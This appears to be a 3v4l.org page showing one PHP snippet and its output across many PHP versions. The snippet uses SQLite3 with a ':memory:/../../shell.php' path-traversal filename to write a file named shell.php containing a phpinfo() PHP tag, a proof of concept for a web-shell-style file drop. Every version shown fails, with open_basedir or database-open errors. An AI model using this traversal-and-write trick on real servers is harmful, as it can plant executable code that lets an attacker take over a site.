3v4l.org

run code in 300+ PHP versions simultaneously
<?php chdir('/tmp'); mkdir(':memory:'); $database = new SQLite3(":memory:/../../shell.php"); $database->exec("CREATE TABLE foo (bar STRING)"); $database->exec("INSERT INTO foo (bar) VALUES ('<?php phpinfo(); ?>')"); $database->close(); rmdir(':memory:'); ?>
Output for 7.4.21 - 7.4.25, 7.4.27 - 7.4.32, 8.0.8 - 8.0.12, 8.0.14 - 8.0.28, 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
Warning: SQLite3::__construct(): open_basedir restriction in effect. File(/shell.php) is not within the allowed path(s): (/tmp:/in:/etc) in /in/Qe1fY on line 4 Fatal error: Uncaught Exception: open_basedir prohibits opening /shell.php in /in/Qe1fY:4 Stack trace: #0 /in/Qe1fY(4): SQLite3->__construct(':memory:/../../...') #1 {main} thrown in /in/Qe1fY on line 4
Process exited with code 255.
Output for 8.0.29
Warning: mkdir(): File exists in /in/Qe1fY on line 3 Warning: SQLite3::__construct(): open_basedir restriction in effect. File(/shell.php) is not within the allowed path(s): (/tmp:/in:/etc) in /in/Qe1fY on line 4 Fatal error: Uncaught Exception: open_basedir prohibits opening /shell.php in /in/Qe1fY:4 Stack trace: #0 /in/Qe1fY(4): SQLite3->__construct(':memory:/../../...') #1 {main} thrown in /in/Qe1fY on line 4
Process exited with code 255.
Output for 7.0.0 - 7.0.20, 7.1.0 - 7.1.28, 7.1.31 - 7.1.33, 7.2.0 - 7.2.18, 7.2.20, 7.2.24, 7.2.29 - 7.2.33, 7.3.0 - 7.3.1, 7.3.3, 7.3.6, 7.3.9 - 7.3.10, 7.3.16 - 7.3.33, 7.4.8 - 7.4.20, 7.4.26, 7.4.33, 8.0.0 - 8.0.7, 8.0.13
Fatal error: Uncaught Exception: Unable to open database: unable to open database file in /in/Qe1fY:4 Stack trace: #0 /in/Qe1fY(4): SQLite3->__construct(':memory:/../../...') #1 {main} thrown in /in/Qe1fY on line 4
Process exited with code 255.
Output for 7.4.3 - 7.4.7
Fatal error: Uncaught Exception: Unable to open database: bad parameter or other API misuse in /in/Qe1fY:4 Stack trace: #0 /in/Qe1fY(4): SQLite3->__construct(':memory:/../../...') #1 {main} thrown in /in/Qe1fY on line 4
Process exited with code 255.
Output for 7.4.0
Fatal error: Uncaught Exception: Unable to open database: library routine called out of sequence in /in/Qe1fY:4 Stack trace: #0 /in/Qe1fY(4): SQLite3->__construct(':memory:/../../...') #1 {main} thrown in /in/Qe1fY on line 4
Process exited with code 255.
Output for 7.1.29 - 7.1.30, 7.2.19, 7.2.21 - 7.2.23, 7.2.25, 7.3.2, 7.3.4 - 7.3.5, 7.3.7 - 7.3.8, 7.3.11 - 7.3.12
Warning: mkdir(): File exists in /in/Qe1fY on line 3 Fatal error: Uncaught Exception: Unable to open database: unable to open database file in /in/Qe1fY:4 Stack trace: #0 /in/Qe1fY(4): SQLite3->__construct(':memory:/../../...') #1 {main} thrown in /in/Qe1fY on line 4
Process exited with code 255.
Output for 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.28
Fatal error: Uncaught exception 'Exception' with message 'Unable to open database: unable to open database file' in /in/Qe1fY:4 Stack trace: #0 /in/Qe1fY(4): SQLite3->__construct(':memory:/../../...') #1 {main} thrown in /in/Qe1fY on line 4
Process exited with code 255.
Output for 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17
Fatal error: Class 'SQLite3' not found in /in/Qe1fY on line 4
Process exited with code 255.
Output for 4.3.2 - 4.3.11, 4.4.0 - 4.4.9
Fatal error: Cannot instantiate non-existent class: sqlite3 in /in/Qe1fY on line 4
Process exited with code 255.
Output for 4.3.0 - 4.3.1
Fatal error: Cannot instantiate non-existent class: sqlite3 in /in/Qe1fY on line 4

preferences:
306 ms | 401 KiB | 389 Q